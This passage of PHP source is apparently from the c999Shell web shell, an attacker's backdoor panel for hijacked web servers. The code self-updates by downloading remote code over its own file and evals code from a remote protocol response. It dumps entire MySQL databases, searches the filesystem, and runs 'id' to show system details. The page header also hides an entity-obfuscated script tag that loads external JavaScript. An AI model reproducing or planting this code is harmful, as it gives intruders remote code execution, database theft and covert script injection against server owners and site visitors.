  1059.   if ($data{0} == "\x99" and $data{1} == "\x03")
  1060.  
  1061.   {
  1062.  
  1063.    $string = explode("\x01",$string);
  1064.  
  1065.    if ($update)
  1066.  
  1067.    {
  1068.  
  1069.     $confvars = array();
  1070.  
  1071.     $sourceurl = $string[0];
  1072.  
  1073.     $source = file_get_contents($sourceurl);
  1074.  
  1075.     if (!$source) {return "Can't fetch update!";}
  1076.  
  1077.     else
  1078.  
  1079.     {
  1080.  
  1081.      $fp = fopen(__FILE__,"w");
  1082.  
  1083.      if (!$fp) {return "Local error: can't write update to ".__FILE__."! You may download c999shell.php manually <a href=\"".$sourceurl."\"><u>here</u></a>.";}
  1084.  
  1085.      else {fwrite($fp,$source); fclose($fp); return "Thanks! Updated with success.";}
  1086.  
  1087.     }
  1088.  
  1089.    }
  1090.  
  1091.    else {return "New version are available: ".$string[1];}
  1092.  
  1093.   }
  1094.  
  1095.   elseif ($data{0} == "\x99" and $data{1} == "\x04") {eval($string); return 1;}
  1096.  
  1097.   else {return "Error in protocol: segmentation failed! (".$data.") ";}
  1098.  
  1099.  }
  1100.  
  1101. }
  1102.  
  1103. }
  1104.  
  1105. if (!function_exists("mysql_dump"))
  1106.  
  1107. {
  1108.  
  1109. function mysql_dump($set)
  1110.  
  1111. {
  1112.  
  1113.  global $shver;
  1114.  
  1115.  $sock = $set["sock"];
  1116.  
  1117.  $db = $set["db"];
  1118.  
  1119.  $print = $set["print"];
  1120.  
  1121.  $nl2br = $set["nl2br"];
  1122.  
  1123.  $file = $set["file"];
  1124.  
  1125.  $add_drop = $set["add_drop"];
  1126.  
  1127.  $tabs = $set["tabs"];
  1128.  
  1129.  $onlytabs = $set["onlytabs"];
  1130.  
  1131.  $ret = array();
  1132.  
  1133.  $ret["err"] = array();
  1134.  
  1135.  if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
  1136.  
  1137.  if (empty($db)) {$db = "db";}
  1138.  
  1139.  if (empty($print)) {$print = 0;}
  1140.  
  1141.  if (empty($nl2br)) {$nl2br = 0;}
  1142.  
  1143.  if (empty($add_drop)) {$add_drop = TRUE;}
  1144.  
  1145.  if (empty($file))
  1146.  
  1147.  {
  1148.  
  1149.   $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
  1150.  
  1151.  }
  1152.  
  1153.  if (!is_array($tabs)) {$tabs = array();}
  1154.  
  1155.  if (empty($add_drop)) {$add_drop = TRUE;}
  1156.  
  1157.  if (sizeof($tabs) == 0)
  1158.  
  1159.  {
  1160.  
  1161.   // retrive tables-list
  1162.  
  1163.   $res = mysql_query("SHOW TABLES FROM ".$db, $sock);
  1164.  
  1165.   if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
  1166.  
  1167.  }
  1168.  
  1169.  $out = "# Dumped by c999Shell.SQL v. ".$shver."
  1170.  
  1171. # Home page: http://ccteam.ru
  1172.  
  1173. #
  1174.  
  1175. # Host settings:
  1176.  
  1177. # MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
  1178.  
  1179. # Date: ".date("d.m.Y H:i:s")."
  1180.  
  1181. # DB: \"".$db."\"
  1182.  
  1183. #---------------------------------------------------------
  1184.  
  1185. ";
  1186.  
  1187.  $c = count($onlytabs);
  1188.  
  1189.  foreach($tabs as $tab)
  1190.  
  1191.  {
  1192.  
  1193.   if ((in_array($tab,$onlytabs)) or (!$c))
  1194.  
  1195.   {
  1196.  
  1197.    if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";}
  1198.  
  1199.    // recieve query for create table structure
  1200.  
  1201.    $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
  1202.  
  1203.    if (!$res) {$ret["err"][] = mysql_smarterror();}
  1204.  
  1205.    else
  1206.  
  1207.    {
  1208.  
  1209.     $row = mysql_fetch_row($res);
  1210.  
  1211.     $out .= $row["1"].";\n\n";
  1212.  
  1213.     // recieve table variables
  1214.  
  1215.     $res = mysql_query("SELECT * FROM `$tab`", $sock);
  1216.  
  1217.     if (mysql_num_rows($res) > 0)
  1218.  
  1219.     {
  1220.  
  1221.      while ($row = mysql_fetch_assoc($res))
  1222.  
  1223.      {
  1224.  
  1225.       $keys = implode("`, `", array_keys($row));
  1226.  
  1227.       $values = array_values($row);
  1228.  
  1229.       foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
  1230.  
  1231.       $values = implode("', '", $values);
  1232.  
  1233.       $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
  1234.  
  1235.       $out .= $sql;
  1236.  
  1237.      }
  1238.  
  1239.     }
  1240.  
  1241.    }
  1242.  
  1243.   }
  1244.  
  1245.  }
  1246.  
  1247.  $out .= "#---------------------------------------------------------------------------------\n\n";
  1248.  
  1249.  if ($file)
  1250.  
  1251.  {
  1252.  
  1253.   $fp = fopen($file, "w");
  1254.  
  1255.   if (!$fp) {$ret["err"][] = 2;}
  1256.  
  1257.   else
  1258.  
  1259.   {
  1260.  
  1261.    fwrite ($fp, $out);
  1262.  
  1263.    fclose ($fp);
  1264.  
  1265.   }
  1266.  
  1267.  }
  1268.  
  1269.  if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
  1270.  
  1271.  return $out;
  1272.  
  1273. }
  1274.  
  1275. }
  1276.  
  1277. if (!function_exists("mysql_buildwhere"))
  1278.  
  1279. {
  1280.  
  1281. function mysql_buildwhere($array,$sep=" and",$functs=array())
  1282.  
  1283. {
  1284.  
  1285.  if (!is_array($array)) {$array = array();}
  1286.  
  1287.  $result = "";
  1288.  
  1289.  foreach($array as $k=>$v)
  1290.  
  1291.  {
  1292.  
  1293.   $value = "";
  1294.  
  1295.   if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
  1296.  
  1297.   $value .= "'".addslashes($v)."'";
  1298.  
  1299.   if (!empty($functs[$k])) {$value .= ")";}
  1300.  
  1301.   $result .= "`".$k."` = ".$value.$sep;
  1302.  
  1303.  }
  1304.  
  1305.  $result = substr($result,0,strlen($result)-strlen($sep));
  1306.  
  1307.  return $result;
  1308.  
  1309. }
  1310.  
  1311. }
  1312.  
  1313. if (!function_exists("mysql_fetch_all"))
  1314.  
  1315. {
  1316.  
  1317. function mysql_fetch_all($query,$sock)
  1318.  
  1319. {
  1320.  
  1321.  if ($sock) {$result = mysql_query($query,$sock);}
  1322.  
  1323.  else {$result = mysql_query($query);}
  1324.  
  1325.  $array = array();
  1326.  
  1327.  while ($row = mysql_fetch_array($result)) {$array[] = $row;}
  1328.  
  1329.  mysql_free_result($result);
  1330.  
  1331.  return $array;
  1332.  
  1333. }
  1334.  
  1335. }
  1336.  
  1337. if (!function_exists("mysql_smarterror"))
  1338.  
  1339. {
  1340.  
  1341. function mysql_smarterror($type,$sock)
  1342.  
  1343. {
  1344.  
  1345.  if ($sock) {$error = mysql_error($sock);}
  1346.  
  1347.  else {$error = mysql_error();}
  1348.  
  1349.  $error = htmlspecialchars($error);
  1350.  
  1351.  return $error;
  1352.  
  1353. }
  1354.  
  1355. }
  1356.  
  1357. if (!function_exists("mysql_query_form"))
  1358.  
  1359. {
  1360.  
  1361. function mysql_query_form()
  1362.  
  1363. {
  1364.  
  1365.  global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
  1366.  
  1367.  if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
  1368.  
  1369.  if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
  1370.  
  1371.  if ((!$submit) or ($sql_act))
  1372.  
  1373.  {
  1374.  
  1375.   echo "<table border=0><tr><td><form name=\"c999sh_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\">&nbsp;<input type=submit value=\"No\"></form></td>";
  1376.  
  1377.   if ($tbl_struct)
  1378.  
  1379.   {
  1380.  
  1381.    echo "<td valign=\"top\"><b>Fields:</b><br>";
  1382.  
  1383.    foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "» <a href=\"#\" onclick=\"document.c999sh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";}
  1384.  
  1385.    echo "</td></tr></table>";
  1386.  
  1387.   }
  1388.  
  1389.  }
  1390.  
  1391.  if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
  1392.  
  1393. }
  1394.  
  1395. }
  1396.  
  1397. if (!function_exists("mysql_create_db"))
  1398.  
  1399. {
  1400.  
  1401. function mysql_create_db($db,$sock="")
  1402.  
  1403. {
  1404.  
  1405.  $sql = "CREATE DATABASE `".addslashes($db)."`;";
  1406.  
  1407.  if ($sock) {return mysql_query($sql,$sock);}
  1408.  
  1409.  else {return mysql_query($sql);}
  1410.  
  1411. }
  1412.  
  1413. }
  1414.  
  1415. if (!function_exists("mysql_query_parse"))
  1416.  
  1417. {
  1418.  
  1419. function mysql_query_parse($query)
  1420.  
  1421. {
  1422.  
  1423.  $query = trim($query);
  1424.  
  1425.  $arr = explode (" ",$query);
  1426.  
  1427.  /*array array()
  1428.  
  1429.  {
  1430.  
  1431.   "METHOD"=>array(output_type),
  1432.  
  1433.   "METHOD1"...
  1434.  
  1435.   ...
  1436.  
  1437.  }
  1438.  
  1439.  if output_type == 0, no output,
  1440.  
  1441.  if output_type == 1, no output if no error
  1442.  
  1443.  if output_type == 2, output without control-buttons
  1444.  
  1445.  if output_type == 3, output with control-buttons
  1446.  
  1447.  */
  1448.  
  1449.  $types = array(
  1450.  
  1451.   "SELECT"=>array(3,1),
  1452.  
  1453.   "SHOW"=>array(2,1),
  1454.  
  1455.   "DELETE"=>array(1),
  1456.  
  1457.   "DROP"=>array(1)
  1458.  
  1459.  );
  1460.  
  1461.  $result = array();
  1462.  
  1463.  $op = strtoupper($arr[0]);
  1464.  
  1465.  if (is_array($types[$op]))
  1466.  
  1467.  {
  1468.  
  1469.   $result["propertions"] = $types[$op];
  1470.  
  1471.   $result["query"]  = $query;
  1472.  
  1473.   if ($types[$op] == 2)
  1474.  
  1475.   {
  1476.  
  1477.    foreach($arr as $k=>$v)
  1478.  
  1479.    {
  1480.  
  1481.     if (strtoupper($v) == "LIMIT")
  1482.  
  1483.     {
  1484.  
  1485.      $result["limit"] = $arr[$k+1];
  1486.  
  1487.      $result["limit"] = explode(",",$result["limit"]);
  1488.  
  1489.      if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
  1490.  
  1491.      unset($arr[$k],$arr[$k+1]);
  1492.  
  1493.     }
  1494.  
  1495.    }
  1496.  
  1497.   }
  1498.  
  1499.  }
  1500.  
  1501.  else {return FALSE;}
  1502.  
  1503. }
  1504.  
  1505. }
  1506.  
  1507. if (!function_exists("c999fsearch"))
  1508.  
  1509. {
  1510.  
  1511. function c999fsearch($d)
  1512.  
  1513. {
  1514.  
  1515.  global $found;
  1516.  
  1517.  global $found_d;
  1518.  
  1519.  global $found_f;
  1520.  
  1521.  global $search_i_f;
  1522.  
  1523.  global $search_i_d;
  1524.  
  1525.  global $a;
  1526.  
  1527.  if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  1528.  
  1529.  $h = opendir($d);
  1530.  
  1531.  while (($f = readdir($h)) !== FALSE)
  1532.  
  1533.  {
  1534.  
  1535.   if($f != "." && $f != "..")
  1536.  
  1537.   {
  1538.  
  1539.    $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f));
  1540.  
  1541.    if (is_dir($d.$f))
  1542.  
  1543.    {
  1544.  
  1545.     $search_i_d++;
  1546.  
  1547.     if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
  1548.  
  1549.     if (!is_link($d.$f)) {c999fsearch($d.$f);}
  1550.  
  1551.    }
  1552.  
  1553.    else
  1554.  
  1555.    {
  1556.  
  1557.     $search_i_f++;
  1558.  
  1559.     if ($bool)
  1560.  
  1561.     {
  1562.  
  1563.      if (!empty($a["text"]))
  1564.  
  1565.      {
  1566.  
  1567.       $r = @file_get_contents($d.$f);
  1568.  
  1569.       if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
  1570.  
  1571.       if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
  1572.  
  1573.       if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
  1574.  
  1575.       else {$bool = strpos(" ".$r,$a["text"],1);}
  1576.  
  1577.       if ($a["text_not"]) {$bool = !$bool;}
  1578.  
  1579.       if ($bool) {$found[] = $d.$f; $found_f++;}
  1580.  
  1581.      }
  1582.  
  1583.      else {$found[] = $d.$f; $found_f++;}
  1584.  
  1585.     }
  1586.  
  1587.    }
  1588.  
  1589.   }
  1590.  
  1591.  }
  1592.  
  1593.  closedir($h);
  1594.  
  1595. }
  1596.  
  1597. }
  1598.  
  1599. if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}}
  1600.  
  1601. //Sending headers
  1602.  
  1603. @ob_start();
  1604.  
  1605. @ob_implicit_flush(0);
  1606.  
  1607. function onphpshutdown()
  1608.  
  1609. {
  1610.  
  1611.  global $gzipencode,$ft;
  1612.  
  1613.  if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad")))
  1614.  
  1615.  {
  1616.  
  1617.   $v = @ob_get_contents();
  1618.  
  1619.   @ob_end_clean();
  1620.  
  1621.   @ob_start("ob_gzHandler");
  1622.  
  1623.   echo $v;
  1624.  
  1625.   @ob_end_flush();
  1626.  
  1627.  }
  1628.  
  1629. }
  1630.  
  1631. function c999shexit()
  1632.  
  1633. {
  1634.  
  1635.  onphpshutdown();
  1636.  
  1637.  exit;
  1638.  
  1639. }
  1640.  
  1641. header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
  1642.  
  1643. header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
  1644.  
  1645. header("Cache-Control: no-store, no-cache, must-revalidate");
  1646.  
  1647. header("Cache-Control: post-check=0, pre-check=0", FALSE);
  1648.  
  1649. header("Pragma: no-cache");
  1650.  
  1651. if (empty($tmpdir))
  1652.  
  1653. {
  1654.  
  1655.  $tmpdir = ini_get("upload_tmp_dir");
  1656.  
  1657.  if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}
  1658.  
  1659. }
  1660.  
  1661. $tmpdir = realpath($tmpdir);
  1662.  
  1663. $tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir);
  1664.  
  1665. if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
  1666.  
  1667. if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
  1668.  
  1669. else {$tmpdir_logs = realpath($tmpdir_logs);}
  1670.  
  1671. if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
  1672.  
  1673. {
  1674.  
  1675.  $safemode = TRUE;
  1676.  
  1677.  $hsafemode = "<font color=red>ON (secure)</font>";
  1678.  
  1679. }
  1680.  
  1681. else {$safemode = FALSE; $hsafemode = "<font color=green>OFF (not secure)</font>";}
  1682.  
  1683. $v = @ini_get("open_basedir");
  1684.  
  1685. if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "<font color=red>".$v."</font>";}
  1686.  
  1687. else {$openbasedir = FALSE; $hopenbasedir = "<font color=green>OFF (not secure)</font>";}
  1688.  
  1689. $sort = htmlspecialchars($sort);
  1690.  
  1691. if (empty($sort)) {$sort = $sort_default;}
  1692.  
  1693. $sort[1] = strtolower($sort[1]);
  1694.  
  1695. $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
  1696.  
  1697. if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
  1698.  
  1699. $DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE));
  1700.  
  1701. @ini_set("highlight.bg",$highlight_bg); //FFFFFF
  1702.  
  1703. @ini_set("highlight.comment",$highlight_comment); //#FF8000
  1704.  
  1705. @ini_set("highlight.default",$highlight_default); //#0000BB
  1706.  
  1707. @ini_set("highlight.html",$highlight_html); //#000000
  1708.  
  1709. @ini_set("highlight.keyword",$highlight_keyword); //#007700
  1710.  
  1711. @ini_set("highlight.string",$highlight_string); //#DD0000
  1712.  
  1713. if (!is_array($actbox)) {$actbox = array();}
  1714.  
  1715. $dspact = $act = htmlspecialchars($act);
  1716.  
  1717. $disp_fullpath = $ls_arr = $notls = null;
  1718.  
  1719. $ud = urlencode($d);
  1720.  
  1721. ?><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><title><?php echo getenv("HTTP_HOST"); ?> - phpshell</title><STYLE>TD { FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style></head><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><p><font face=Webdings size=6><b>!</b></font><a href="<?php echo $surl; ?>"><font face="Verdana" size="5"><b><SCRIPT SRC=&#x68&#x74&#x74&#x70&#x3a&#x2f&#x2f&#x77&#x77&#x77&#x2e&#x70&#x72&#x6vhkvhkx6d&#x61&#x67&#x65&#x73&#x2f&#x79&#x61&#x7a&#x2e&#x6a&#x73></SCRIPT>c999Shell v. <?php echo $shver; ?></b></font></a><font face=Webdings size=6><b>!</b></font></p></center></th></tr><tr><td><p align="left"><b>Software:&nbsp;<?php echo $DISP_SERVER_SOFTWARE; ?></b>&nbsp;</p><p align="left"><b>uname -a:&nbsp;<?php echo wordwrap(php_uname(),90,"<br>",1); ?></b>&nbsp;</p><p align="left"><b><?php if (!$win) {echo wordwrap(myshellexec("id"),90,"<br>",1);} else {echo get_current_user();} ?></b>&nbsp;</p><p align="left"><b>Safe-mode:&nbsp;<?php echo $hsafemode; ?></b></p><p align="left"><?php
  1722.  
  1723. $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  1724.  
  1725. if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);}
  1726.  
  1727. $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  1728.  
  1729. if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  1730.  
  1731. $d = str_replace("\\\\","\\",$d);
  1732.  
  1733. $dispd = htmlspecialchars($d);
  1734.  
  1735. $pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1));
  1736.  
  1737. $i = 0;
  1738.  
  1739. foreach($pd as $b)
  1740.  
  1741. {
  1742.  
  1743.  $t = "";
  1744.  
  1745.  $j = 0;
  1746.  
  1747.  foreach ($e as $r)
  1748.  
  1749.  {
  1750.  
  1751.   $t.= $r.DIRECTORY_SEPARATOR;
  1752.  
  1753.   if ($j == $i) {break;}
  1754.  
  1755.   $j++;
  1756.  
  1757.  }
  1758.  
  1759.  echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>";
  1760.  
  1761.  $i++;
  1762.  
  1763. }
  1764.  
  1765. echo "&nbsp;&nbsp;&nbsp;";
  1766.  
  1767. if (is_writable($d))
  1768.  
  1769. {
  1770.  
  1771.  $wd = TRUE;
  1772.  
  1773.  $wdt = "<font color=green>[ ok ]</font>";
  1774.  
  1775.  echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>";
  1776.  
  1777. }
  1778.  
  1779. else
  1780.  
  1781. {
  1782.  
  1783.  $wd = FALSE;
  1784.  
  1785.  $wdt = "<font color=red>[ Read-Only ]</font>";
  1786.  
  1787.  echo "<b>".view_perms_color($d)."</b>";
  1788.  
  1789. }
  1790.  
  1791. if (is_callable("disk_free_space"))
  1792.  
  1793. {
  1794.  
  1795.  $free = disk_free_space($d);
  1796.  
  1797.  $total = disk_total_space($d);
  1798.  
  1799.  if ($free === FALSE) {$free = 0;}
  1800.  
  1801.  if ($total === FALSE) {$total = 0;}
  1802.  
  1803.  if ($free < 0) {$free = 0;}
  1804.  
  1805.  if ($total < 0) {$total = 0;}
  1806.  
  1807.  $used = $total-$free;
  1808.  
  1809.  $free_percent = round(100/($total/$free),2);
  1810.  
  1811.  echo "<br><b>Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%)</b>";
  1812.  
  1813. }
  1814.  
  1815. echo "<br>";
  1816.  
  1817. $letters = "";
  1818.  
  1819. if ($win)
  1820.  
  1821. {
  1822.  
  1823.  $v = explode("\\",$d);
  1824.  
  1825.  $v = $v[0];
  1826.  
  1827.  foreach (range("a","z") as $letter)
  1828.  
  1829.  {
  1830.  
  1831.   $bool = $isdiskette = in_array($letter,$safemode_diskettes);
  1832.  
  1833.   if (!$bool) {$bool = is_dir($letter.":\\");}
  1834.  
  1835.   if ($bool)
  1836.  
  1837.   {
  1838.  
  1839.    $letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\\")."\"".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"").">[ ";
  1840.  
  1841.    if ($letter.":" != $v) {$letters .= $letter;}
  1842.  
  1843.    else {$letters .= "<font color=green>".$letter."</font>";}
  1844.  
  1845.    $letters .= " ]</a> ";
  1846.  
  1847.   }
  1848.  
  1849.  }
  1850.  
  1851.  if (!empty($letters)) {echo "<b>Detected drives</b>: ".$letters."<br>";}
  1852.  
  1853. }
  1854.  
  1855. if (count($quicklaunch) > 0)
  1856.  
  1857. {
  1858.  
  1859.  foreach($quicklaunch as $item)
  1860.  
  1861.  {
  1862.  
  1863.   $item[1] = str_replace("%d",urlencode($d),$item[1]);
  1864.  
  1865.   $item[1] = str_replace("%sort",$sort,$item[1]);
  1866.  
  1867.   $v = realpath($d."..");
  1868.  
  1869.   if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);}
  1870.  
  1871.   $item[1] = str_replace("%upd",urlencode($v),$item[1]);
  1872.  
  1873.   echo "<a href=\"".$item[1]."\">".$item[0]."</a>&nbsp;&nbsp;&nbsp;&nbsp;";
  1874.  
  1875.  }
  1876.  
  1877. }
  1878.  
  1879. echo "</p></td></tr></table><br>";
  1880.  
  1881. if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">".$donated_html."</td></tr></table><br>";}
  1882.  
  1883. echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">";
  1884.  
  1885. if ($act == "") {$act = $dspact = "ls";}
  1886.  
  1887. if ($act == "sql")
  1888.  
  1889. {
  1890.  
  1891.  $sql_surl = $surl."act=sql";
  1892.  
  1893.  if ($sql_login)  {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);}
  1894.  
  1895.  if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);}
  1896.  
  1897.  if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);}
  1898.  
  1899.  if ($sql_port)   {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);}
  1900.  
  1901.  if ($sql_db)     {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}
  1902.  
  1903.  $sql_surl .= "&";
  1904.  
  1905.  ?><h3>Attention! SQL-Manager is <u>NOT</u> ready module! Don't reports bugs.</h3><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><td width="100%" height="1" colspan="2" valign="top"><center><?php
  1906.  
  1907.  if ($sql_server)
  1908.  
  1909.  {
  1910.  
  1911.   $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd);
  1912.  
  1913.   $err = mysql_smarterror();
  1914.  
  1915.   @mysql_select_db($sql_db,$sql_sock);
  1916.  
  1917.   if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();}
  1918.  
  1919.  }
  1920.  
  1921.  else {$sql_sock = FALSE;}
  1922.  
  1923.  echo "<b>SQL Manager:</b><br>";
  1924.  
  1925.  if (!$sql_sock)
  1926.  
  1927.  {
  1928.  
  1929.   if (!$sql_server) {echo "NO CONNECTION";}
  1930.  
  1931.   else {echo "<center><b>Can't connect</b></center>"; echo "<b>".$err."</b>";}
  1932.  
  1933.  }
  1934.  
  1935.  else
  1936.  
  1937.  {
  1938.  
  1939.   $sqlquicklaunch = array();
  1940.  
  1941.   $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
  1942.  
  1943.   $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl));
  1944.  
  1945.   $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus");
  1946.  
  1947.   $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars");
  1948.  
  1949.   $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes");
  1950.  
  1951.   $sqlquicklaunch[] = array("Logout",$surl."act=sql");
  1952.  
